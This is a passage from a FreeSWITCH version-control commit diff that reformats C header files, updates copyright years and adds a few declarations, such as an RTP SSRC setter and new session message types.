*\return SWITCH_STATUS_SUCCESS if all is well
*/
SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_build(switch_ivr_menu_xml_ctx_t *xml_menu_ctx,
- switch_ivr_menu_t **menu_stack, switch_xml_t xml_menus, switch_xml_t xml_menu);
+ switch_ivr_menu_t ** menu_stack, switch_xml_t xml_menus, switch_xml_t xml_menu);
SWITCH_DECLARE(switch_status_t) switch_ivr_menu_str2action(const char *action_name, switch_ivr_action_t *action);
@@ -791,7 +786,7 @@
*\param pool memory pool (NULL to create one)
*\return SWITCH_STATUS_SUCCESS if all is well
*/
-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_init(switch_ivr_menu_xml_ctx_t **xml_menu_ctx, switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_init(switch_ivr_menu_xml_ctx_t ** xml_menu_ctx, switch_memory_pool_t *pool);
SWITCH_DECLARE(switch_status_t) switch_ivr_phrase_macro(switch_core_session_t *session, const char *macro_name, const char *data, const char *lang,
switch_input_args_t *args);
@@ -806,8 +801,7 @@
uint32_t max_digits,
const char *prompt_audio_file,
const char *var_name,
- char *digit_buffer,
- switch_size_t digit_buffer_length, uint32_t timeout, const char *valid_terminators);
+ char *digit_buffer, switch_size_t digit_buffer_length, uint32_t timeout, const char *valid_terminators);
SWITCH_DECLARE(switch_status_t) switch_ivr_bind_dtmf_meta_session(switch_core_session_t *session, uint32_t key,
switch_bind_flag_t bind_flags, const char *app);
Modified: freeswitch/trunk/src/include/switch_loadable_module.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_loadable_module.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_loadable_module.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -268,7 +268,7 @@
\param filename the path to the module's dll or so file
\return SWITCH_STATUS_SUCCESS on a successful load
*/
-SWITCH_MOD_DECLARE(switch_status_t) switch_module_load(switch_loadable_module_interface_t **module_interface, char *filename);
+SWITCH_MOD_DECLARE(switch_status_t) switch_module_load(switch_loadable_module_interface_t ** module_interface, char *filename);
SWITCH_MOD_DECLARE(switch_status_t) switch_module_runtime(void);
/*!
@@ -325,14 +325,15 @@
break; \
}
-static inline int switch_check_interval(uint32_t rate, uint32_t ptime)
+ static inline int switch_check_interval(uint32_t rate, uint32_t ptime)
{
uint32_t max_ms = 0, ptime_div = 0;
switch (rate) {
case 22050:
case 11025:
- if (ptime < 120) return 1;
+ if (ptime < 120)
+ return 1;
break;
case 48000:
max_ms = 40;
@@ -350,13 +351,13 @@
case 8000:
max_ms = 120;
ptime_div = 2;
- break;
+ break;
}
if (max_ms && ptime_div && (ptime <= max_ms && (ptime % ptime_div) == 0) && ((rate / 1000) * ptime) < SWITCH_RECOMMENDED_BUFFER_SIZE) {
return 1;
}
-
+
return 0;
}
@@ -420,7 +421,7 @@
impl->impl_id = switch_core_codec_next_id();
codec_interface->implementations = impl;
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Rejected codec name: %s rate: %u ptime: %u\n",
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Rejected codec name: %s rate: %u ptime: %u\n",
iananame, actual_samples_per_second, microseconds_per_packet / 1000);
}
}
Modified: freeswitch/trunk/src/include/switch_log.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_log.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_log.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -114,9 +114,8 @@
\see switch_types.h
*/
SWITCH_DECLARE(void) switch_log_vprintf(_In_ switch_text_channel_t channel, _In_z_ const char *file,
- _In_z_ const char *func, _In_ int line,
- _In_opt_z_ const char *userdata, _In_ switch_log_level_t level,
- const char *fmt, va_list ap);
+ _In_z_ const char *func, _In_ int line,
+ _In_opt_z_ const char *userdata, _In_ switch_log_level_t level, const char *fmt, va_list ap);
#endif
/*!
@@ -144,7 +143,7 @@
#define switch_log_check_mask(_mask, _level) (_mask & (1 << _level))
-SWITCH_DECLARE(switch_log_node_t*) switch_log_node_dup(const switch_log_node_t *node);
+SWITCH_DECLARE(switch_log_node_t *) switch_log_node_dup(const switch_log_node_t *node);
SWITCH_DECLARE(void) switch_log_node_free(switch_log_node_t **pnode);
///\}
Modified: freeswitch/trunk/src/include/switch_module_interfaces.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_module_interfaces.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_module_interfaces.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -45,7 +45,7 @@
SWITCH_BEGIN_EXTERN_C
/*! \brief A table of functions to execute at various states
*/
-typedef enum {
+ typedef enum {
SWITCH_SHN_ON_INIT,
SWITCH_SHN_ON_ROUTING,
SWITCH_SHN_ON_EXECUTE,
@@ -106,7 +106,27 @@
typedef switch_call_cause_t (*switch_io_outgoing_channel_t)
-(switch_core_session_t *, switch_event_t *, switch_caller_profile_t *, switch_core_session_t **, switch_memory_pool_t **, switch_originate_flag_t, switch_call_cause_t *);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ (switch_core_session_t *, switch_event_t *, switch_caller_profile_t *, switch_core_session_t **, switch_memory_pool_t **, switch_originate_flag_t,
+ switch_call_cause_t *);
typedef switch_status_t (*switch_io_read_frame_t) (switch_core_session_t *, switch_frame_t **, switch_io_flag_t, int);
typedef switch_status_t (*switch_io_write_frame_t) (switch_core_session_t *, switch_frame_t *, switch_io_flag_t, int);
typedef switch_status_t (*switch_io_kill_channel_t) (switch_core_session_t *, int);
@@ -441,7 +461,7 @@
switch_audio_resampler_t *resampler;
switch_buffer_t *buffer;
switch_byte_t *dbuf;
- switch_size_t dbuflen;
+ switch_size_t dbuflen;
/*! the current samplerate */
uint32_t samplerate;
/*! the current native samplerate */
@@ -470,7 +490,7 @@
/*! the name of the interface */
const char *interface_name;
/*! function to open the directory interface */
- switch_status_t (*chat_send) (const char *proto, const char *from, const char *to,
+ switch_status_t (*chat_send) (const char *proto, const char *from, const char *to,
const char *subject, const char *body, const char *type, const char *hint);
switch_thread_rwlock_t *rwlock;
int refs;
@@ -680,8 +700,8 @@
struct switch_api_interface *next;
};
-#define PROTECT_INTERFACE(_it) if (_it) {switch_mutex_lock(_it->reflock); switch_thread_rwlock_rdlock(_it->parent->rwlock); switch_thread_rwlock_rdlock(_it->rwlock); _it->refs++; _it->parent->refs++; switch_mutex_unlock(_it->reflock);} //if (!strcmp(_it->interface_name, "user")) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "+++++++++++LOCK %s %d/%d\n", _it->interface_name, _it->refs, _it->parent->refs);
-#define UNPROTECT_INTERFACE(_it) if (_it) {switch_mutex_lock(_it->reflock); switch_thread_rwlock_unlock(_it->rwlock); switch_thread_rwlock_unlock(_it->parent->rwlock); _it->refs--; _it->parent->refs--; switch_mutex_unlock(_it->reflock);} //if (!strcmp(_it->interface_name, "user")) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "---------UNLOCK %s %d/%d\n", _it->interface_name, _it->refs, _it->parent->refs);
+#define PROTECT_INTERFACE(_it) if (_it) {switch_mutex_lock(_it->reflock); switch_thread_rwlock_rdlock(_it->parent->rwlock); switch_thread_rwlock_rdlock(_it->rwlock); _it->refs++; _it->parent->refs++; switch_mutex_unlock(_it->reflock);} //if (!strcmp(_it->interface_name, "user")) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "+++++++++++LOCK %s %d/%d\n", _it->interface_name, _it->refs, _it->parent->refs);
+#define UNPROTECT_INTERFACE(_it) if (_it) {switch_mutex_lock(_it->reflock); switch_thread_rwlock_unlock(_it->rwlock); switch_thread_rwlock_unlock(_it->parent->rwlock); _it->refs--; _it->parent->refs--; switch_mutex_unlock(_it->reflock);} //if (!strcmp(_it->interface_name, "user")) switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "---------UNLOCK %s %d/%d\n", _it->interface_name, _it->refs, _it->parent->refs);
SWITCH_END_EXTERN_C
Modified: freeswitch/trunk/src/include/switch_mprintf.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_mprintf.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_mprintf.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -14,7 +14,6 @@
#define SWITCH_MPRINTF_H
SWITCH_BEGIN_EXTERN_C
-
/**
* This routine is a variant of the "sprintf()" from the
* standard C library. The resulting string is written into memory
Modified: freeswitch/trunk/src/include/switch_nat.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_nat.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_nat.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -38,9 +38,7 @@
#ifndef _SWITCH_NAT_H
#define _SWITCH_NAT_H
-SWITCH_BEGIN_EXTERN_C
-
-typedef enum {
+SWITCH_BEGIN_EXTERN_C typedef enum {
SWITCH_NAT_TYPE_NONE,
SWITCH_NAT_TYPE_PMP,
SWITCH_NAT_TYPE_UPNP
@@ -87,7 +85,8 @@
\param external_port [out] Mapped external port
\param sticky make the mapping permanent
*/
-SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port, switch_bool_t sticky);
+SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port,
+ switch_bool_t sticky);
/*!
\brief Has the NAT subsystem been initialized
*/
Modified: freeswitch/trunk/src/include/switch_odbc.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_odbc.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_odbc.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -34,11 +34,9 @@
#include <switch.h>
-SWITCH_BEGIN_EXTERN_C
+SWITCH_BEGIN_EXTERN_C struct switch_odbc_handle;
+typedef void *switch_odbc_statement_handle_t;
-struct switch_odbc_handle;
-typedef void * switch_odbc_statement_handle_t;
-
typedef enum {
SWITCH_ODBC_STATE_INIT,
SWITCH_ODBC_STATE_DOWN,
@@ -56,14 +54,11 @@
SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_connect(switch_odbc_handle_t *handle);
SWITCH_DECLARE(void) switch_odbc_handle_destroy(switch_odbc_handle_t **handlep);
SWITCH_DECLARE(switch_odbc_state_t) switch_odbc_handle_get_state(switch_odbc_handle_t *handle);
-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec(switch_odbc_handle_t *handle, const char *sql, switch_odbc_statement_handle_t *rstmt, char **err);
-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec_string(switch_odbc_handle_t *handle,
- const char *sql,
- char *resbuf,
- size_t len,
- char **err);
+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec(switch_odbc_handle_t *handle, const char *sql, switch_odbc_statement_handle_t *rstmt,
+ char **err);
+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec_string(switch_odbc_handle_t *handle, const char *sql, char *resbuf, size_t len, char **err);
SWITCH_DECLARE(switch_bool_t) switch_odbc_available(void);
-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_statement_handle_free(switch_odbc_statement_handle_t * stmt);
+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_statement_handle_free(switch_odbc_statement_handle_t *stmt);
/*!
\brief Execute the sql query and issue a callback for each row returned
@@ -78,7 +73,8 @@
\note none
*/
SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_callback_exec_detailed(const char *file, const char *func, int line, switch_odbc_handle_t *handle,
- const char *sql, switch_core_db_callback_func_t callback, void *pdata, char **err);
+ const char *sql, switch_core_db_callback_func_t callback, void *pdata,
+ char **err);
/*!
\brief Execute the sql query and issue a callback for each row returned
\param handle the ODBC handle
@@ -92,7 +88,7 @@
switch_odbc_handle_callback_exec_detailed(__FILE__, (char * )__SWITCH_FUNC__, __LINE__, \
handle, sql, callback, pdata, err)
-
+
SWITCH_DECLARE(char *) switch_odbc_handle_get_error(switch_odbc_handle_t *handle, switch_odbc_statement_handle_t stmt);
SWITCH_END_EXTERN_C
#endif
Modified: freeswitch/trunk/src/include/switch_platform.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_platform.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_platform.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -85,7 +85,7 @@
#undef inline
#define inline __inline
#ifndef uint32_t
- typedef unsigned __int8 uint8_t;
+typedef unsigned __int8 uint8_t;
typedef unsigned __int16 uint16_t;
typedef unsigned __int32 uint32_t;
typedef unsigned __int64 uint64_t;
Modified: freeswitch/trunk/src/include/switch_regex.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_regex.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_regex.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -68,7 +68,7 @@
\param partial If non-zero returns SUCCESS if the target is a partial match, on successful return, this is set to non-zero if the match was partial and zero if it was a full match
\return Boolean if a match was found or not
*/
-SWITCH_DECLARE(switch_status_t) switch_regex_match_partial(const char *target, const char *expression, int * partial_match);
+SWITCH_DECLARE(switch_status_t) switch_regex_match_partial(const char *target, const char *expression, int *partial_match);
#define switch_regex_safe_free(re) if (re) {\
Modified: freeswitch/trunk/src/include/switch_resample.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_resample.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_resample.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -51,7 +51,7 @@
\{
*/
/*! \brief An audio resampling handle */
-typedef struct {
+ typedef struct {
/*! a pointer to store the resampler object */
void *resampler;
/*! the rate to resample from in hz */
@@ -61,11 +61,11 @@
/*! the factor to resample by (from / to) */
double factor;
double rfactor;
- int16_t *to;
- /*! the size of the to buffer used */
- uint32_t to_len;
- /*! the total size of the to buffer */
- uint32_t to_size;
+ int16_t *to;
+ /*! the size of the to buffer used */
+ uint32_t to_len;
+ /*! the total size of the to buffer */
+ uint32_t to_size;
} switch_audio_resampler_t;
@@ -79,9 +79,7 @@
*/
SWITCH_DECLARE(switch_status_t) switch_resample_perform_create(switch_audio_resampler_t **new_resampler,
uint32_t from_rate, uint32_t to_rate, uint32_t to_size,
- int quality,
- uint32_t channels,
- const char *file, const char *func, int line);
+ int quality, uint32_t channels, const char *file, const char *func, int line);
#define switch_resample_create(_n, _fr, _tr, _ts, _q, _c) switch_resample_perform_create(_n, _fr, _tr, _ts, _q, _c, __FILE__, __SWITCH_FUNC__, __LINE__)
Modified: freeswitch/trunk/src/include/switch_rtp.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_rtp.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_rtp.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -45,8 +45,7 @@
#define SWITCH_RTP_KEY_LEN 30
#define SWITCH_RTP_CRYPTO_KEY_32 "AES_CM_128_HMAC_SHA1_32"
#define SWITCH_RTP_CRYPTO_KEY_80 "AES_CM_128_HMAC_SHA1_80"
-
-typedef enum {
+ typedef enum {
SWITCH_RTP_CRYPTO_SEND,
SWITCH_RTP_CRYPTO_RECV,
SWITCH_RTP_CRYPTO_MAX
@@ -54,7 +53,7 @@
typedef enum {
NO_CRYPTO,
- AES_CM_128_HMAC_SHA1_80,
+ AES_CM_128_HMAC_SHA1_80,
AES_CM_128_HMAC_SHA1_32,
AES_CM_128_NULL_AUTH
} switch_rtp_crypto_key_type_t;
@@ -97,6 +96,8 @@
*/
SWITCH_DECLARE(switch_port_t) switch_rtp_set_start_port(switch_port_t port);
+SWITCH_DECLARE(switch_status_t) switch_rtp_set_ssrc(switch_rtp_t *rtp_session, uint32_t ssrc);
+
/*!
\brief Set/Get RTP end port
\param port new value (if > 0)
@@ -166,7 +167,7 @@
\param port the remote port
\param err pointer for error messages
*/
-SWITCH_DECLARE(switch_status_t) switch_rtp_set_remote_address(switch_rtp_t *rtp_session, const char *host, switch_port_t port,
+SWITCH_DECLARE(switch_status_t) switch_rtp_set_remote_address(switch_rtp_t *rtp_session, const char *host, switch_port_t port,
switch_bool_t change_adv_addr, const char **err);
SWITCH_DECLARE(char *) switch_rtp_get_remote_host(switch_rtp_t *rtp_session);
@@ -183,8 +184,7 @@
\param err pointer for error messages
\note this call also binds the RTP session's socket to the new address
*/
-SWITCH_DECLARE(switch_status_t) switch_rtp_set_local_address(switch_rtp_t *rtp_session, const char *host,
- switch_port_t port, const char **err);
+SWITCH_DECLARE(switch_status_t) switch_rtp_set_local_address(switch_rtp_t *rtp_session, const char *host, switch_port_t port, const char **err);
/*!
\brief Kill the socket on an existing RTP session
Modified: freeswitch/trunk/src/include/switch_scheduler.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_scheduler.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_scheduler.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/include/switch_stun.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_stun.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_stun.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -41,8 +41,7 @@
#define SWITCH_STUN_DEFAULT_PORT 3478
#define SWITCH_STUN_PACKET_MIN_LEN 20
#define SWITCH_STUN_ATTRIBUTE_MIN_LEN 8
-
-typedef enum {
+ typedef enum {
SWITCH_STUN_BINDING_REQUEST = 0x0001,
SWITCH_STUN_BINDING_RESPONSE = 0x0101,
SWITCH_STUN_BINDING_ERROR_RESPONSE = 0x0111,
Modified: freeswitch/trunk/src/include/switch_types.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_types.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_types.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -181,7 +181,6 @@
#define SWITCH_BITS_PER_BYTE 8
#define SWITCH_DEFAULT_FILE_BUFFER_LEN 65536
#define SWITCH_DTMF_LOG_LEN 1000
-
typedef uint8_t switch_byte_t;
typedef struct {
@@ -394,7 +393,7 @@
#define SWITCH_INTERVAL_PAD 10 /* A little extra buffer space to be safe */
#define SWITCH_MAX_SAMPLE_LEN 48
#define SWITCH_BYTES_PER_SAMPLE 2 /* slin is 2 bytes per sample */
-#define SWITCH_RECOMMENDED_BUFFER_SIZE 4096 /* worst case of 32khz @60ms we only do 48khz @10ms which is 960 */
+#define SWITCH_RECOMMENDED_BUFFER_SIZE 4096 /* worst case of 32khz @60ms we only do 48khz @10ms which is 960 */
#define SWITCH_MAX_CODECS 50
#define SWITCH_MAX_STATE_HANDLERS 30
#define SWITCH_CORE_QUEUE_LEN 100000
@@ -425,7 +424,7 @@
SWITCH_XML_SECTION_DIRECTORY = (1 << 1),
SWITCH_XML_SECTION_DIALPLAN = (1 << 2),
SWITCH_XML_SECTION_PHRASES = (1 << 3),
-
+
/* Nothing after this line */
SWITCH_XML_SECTION_MAX = (1 << 4)
} switch_xml_section_enum_t;
@@ -530,36 +529,35 @@
typedef uint32_t switch_rtp_flag_t;
typedef enum {
- RTP_BUG_NONE = 0, /* won't be using this one much ;) */
+ RTP_BUG_NONE = 0, /* won't be using this one much ;) */
RTP_BUG_CISCO_SKIP_MARK_BIT_2833 = (1 << 0),
/* Some Cisco devices get mad when you send the mark bit on new 2833 because it makes
them flush their jitterbuffer and the dtmf along with it.
This flag will disable the sending of the mark bit on the first DTMF packet.
- */
+ */
RTP_BUG_SONUS_SEND_INVALID_TIMESTAMP_2833 = (1 << 1)
- /*
- Sonus wrongly expects that, when sending a multi-packet 2833 DTMF event, The sender
- should increment the RTP timestamp in each packet when, in reality, the sender should
- send the same exact timestamp and increment the duration field in the 2833 payload.
- This allows a reconstruction of the duration if any of the packets are lost.
+ /*
+ Sonus wrongly expects that, when sending a multi-packet 2833 DTMF event, The sender
+ should increment the RTP timestamp in each packet when, in reality, the sender should
+ send the same exact timestamp and increment the duration field in the 2833 payload.
+ This allows a reconstruction of the duration if any of the packets are lost.
- final_duration - initial_timestamp = total_samples
+ final_duration - initial_timestamp = total_samples
- However, if the duration value exceeds the space allocated (16 bits), The sender should increment
- the timestamp one unit and reset the duration to 0.
-
- Always sending a duration of 0 with a new timestamp should be tolerated but is rarely intentional
- and is mistakenly done by many devices.
- The issue is that the Sonus expects everyone to do it this way instead of tolerating either way.
- Sonus will actually ignore every packet with the same timestamp before concluding if it's DTMF.
-
- This flag will cause each packet to have a new timestamp.
- */
+ However, if the duration value exceeds the space allocated (16 bits), The sender should increment
+ the timestamp one unit and reset the duration to 0.
+ Always sending a duration of 0 with a new timestamp should be tolerated but is rarely intentional
+ and is mistakenly done by many devices.
+ The issue is that the Sonus expects everyone to do it this way instead of tolerating either way.
+ Sonus will actually ignore every packet with the same timestamp before concluding if it's DTMF.
+
+ This flag will cause each packet to have a new timestamp.
+ */
} switch_rtp_bug_flag_t;
#ifdef _MSC_VER
@@ -680,6 +678,8 @@
SWITCH_MESSAGE_INDICATE_SIMPLIFY,
SWITCH_MESSAGE_INDICATE_DEBUG_AUDIO,
SWITCH_MESSAGE_INDICATE_PROXY_MEDIA,
+ SWITCH_MESSAGE_INDICATE_APPLICATION_EXEC,
+ SWITCH_MESSAGE_INDICATE_APPLICATION_EXEC_COMPLETE,
SWITCH_MESSAGE_INVALID
} switch_core_session_message_types_t;
@@ -1545,7 +1545,7 @@
typedef void (*switch_event_callback_t) (switch_event_t *);
typedef switch_caller_extension_t *(*switch_dialplan_hunt_function_t) (switch_core_session_t *, void *, switch_caller_profile_t *);
-#define SWITCH_STANDARD_DIALPLAN(name) static switch_caller_extension_t * name (switch_core_session_t *session, void *arg, switch_caller_profile_t *caller_profile)
+#define SWITCH_STANDARD_DIALPLAN(name) static switch_caller_extension_t *name (switch_core_session_t *session, void *arg, switch_caller_profile_t *caller_profile)
typedef struct switch_scheduler_task switch_scheduler_task_t;
@@ -1579,9 +1579,9 @@
char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args);
typedef struct switch_xml *switch_xml_t;
typedef struct switch_core_time_duration switch_core_time_duration_t;
-typedef switch_xml_t (*switch_xml_search_function_t) (const char *section,
- const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params,
- void *user_data);
+typedef switch_xml_t(*switch_xml_search_function_t) (const char *section,
+ const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params,
+ void *user_data);
typedef struct switch_hash switch_hash_t;
struct HashElem;
Modified: freeswitch/trunk/src/include/switch_utils.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_utils.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_utils.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -40,9 +40,7 @@
#include <switch.h>
-SWITCH_BEGIN_EXTERN_C
-
-SWITCH_DECLARE(int) switch_toupper(int c);
+SWITCH_BEGIN_EXTERN_C SWITCH_DECLARE(int) switch_toupper(int c);
SWITCH_DECLARE(int) switch_tolower(int c);
SWITCH_DECLARE(int) switch_isalnum(int c);
SWITCH_DECLARE(int) switch_isalpha(int c);
@@ -74,7 +72,8 @@
\param s the string to test
\return true value if the string is NULL or zero length
*/
-static inline int zstr(const char *s) {
+ static inline int zstr(const char *s)
+{
return !s || *s == '\0';
}
@@ -106,7 +105,7 @@
}
i = strchr(i, '\\');
}
-
+
return 0;
}
@@ -208,11 +207,11 @@
/*!
\brief flags to be used with switch_build_uri()
*/
-enum switch_uri_flags {
- SWITCH_URI_NUMERIC_HOST = 1,
- SWITCH_URI_NUMERIC_PORT = 2,
- SWITCH_URI_NO_SCOPE = 4
-};
+ enum switch_uri_flags {
+ SWITCH_URI_NUMERIC_HOST = 1,
+ SWITCH_URI_NUMERIC_PORT = 2,
+ SWITCH_URI_NO_SCOPE = 4
+ };
/*!
\brief build a URI string from components
@@ -224,12 +223,7 @@
\param flags logical OR-ed combination of flags from \ref switch_uri_flags
\return number of characters printed (not including the trailing null)
*/
-SWITCH_DECLARE(int) switch_build_uri(char *uri,
- switch_size_t size,
- const char *scheme,
- const char *user,
- const switch_sockaddr_t *sa,
- int flags);
+SWITCH_DECLARE(int) switch_build_uri(char *uri, switch_size_t size, const char *scheme, const char *user, const switch_sockaddr_t *sa, int flags);
#define SWITCH_STATUS_IS_BREAK(x) (x == SWITCH_STATUS_BREAK || x == 730035 || x == 35)
@@ -313,7 +307,7 @@
#define switch_set_string(_dst, _src) switch_copy_string(_dst, _src, sizeof(_dst))
-static inline char *switch_sanitize_number(char *number)
+ static inline char *switch_sanitize_number(char *number)
{
char *p = number, *q;
char warp[] = "/:";
@@ -323,10 +317,12 @@
return number;
}
- while((q = strrchr(p, '@'))) *q = '\0';
-
- for(i = 0; i < (int)strlen(warp); i++) {
- while(p && (q = strchr(p, warp[i]))) p = q + 1;
+ while ((q = strrchr(p, '@')))
+ *q = '\0';
+
+ for (i = 0; i < (int) strlen(warp); i++) {
+ while (p && (q = strchr(p, warp[i])))
+ p = q + 1;
}
return p;
@@ -334,46 +330,46 @@
static inline switch_bool_t switch_string_var_check(char *s, switch_bool_t disable)
{
- char *p;
+ char *p;
char *dol = NULL;
- for (p = s; p && *p; p++) {
- if (*p == '$') {
- dol = p;
- } else if (dol) {
- if (*p == '{') {
+ for (p = s; p && *p; p++) {
+ if (*p == '$') {
+ dol = p;
+ } else if (dol) {
+ if (*p == '{') {
if (disable) {
*dol = '%';
dol = NULL;
} else {
return SWITCH_TRUE;
}
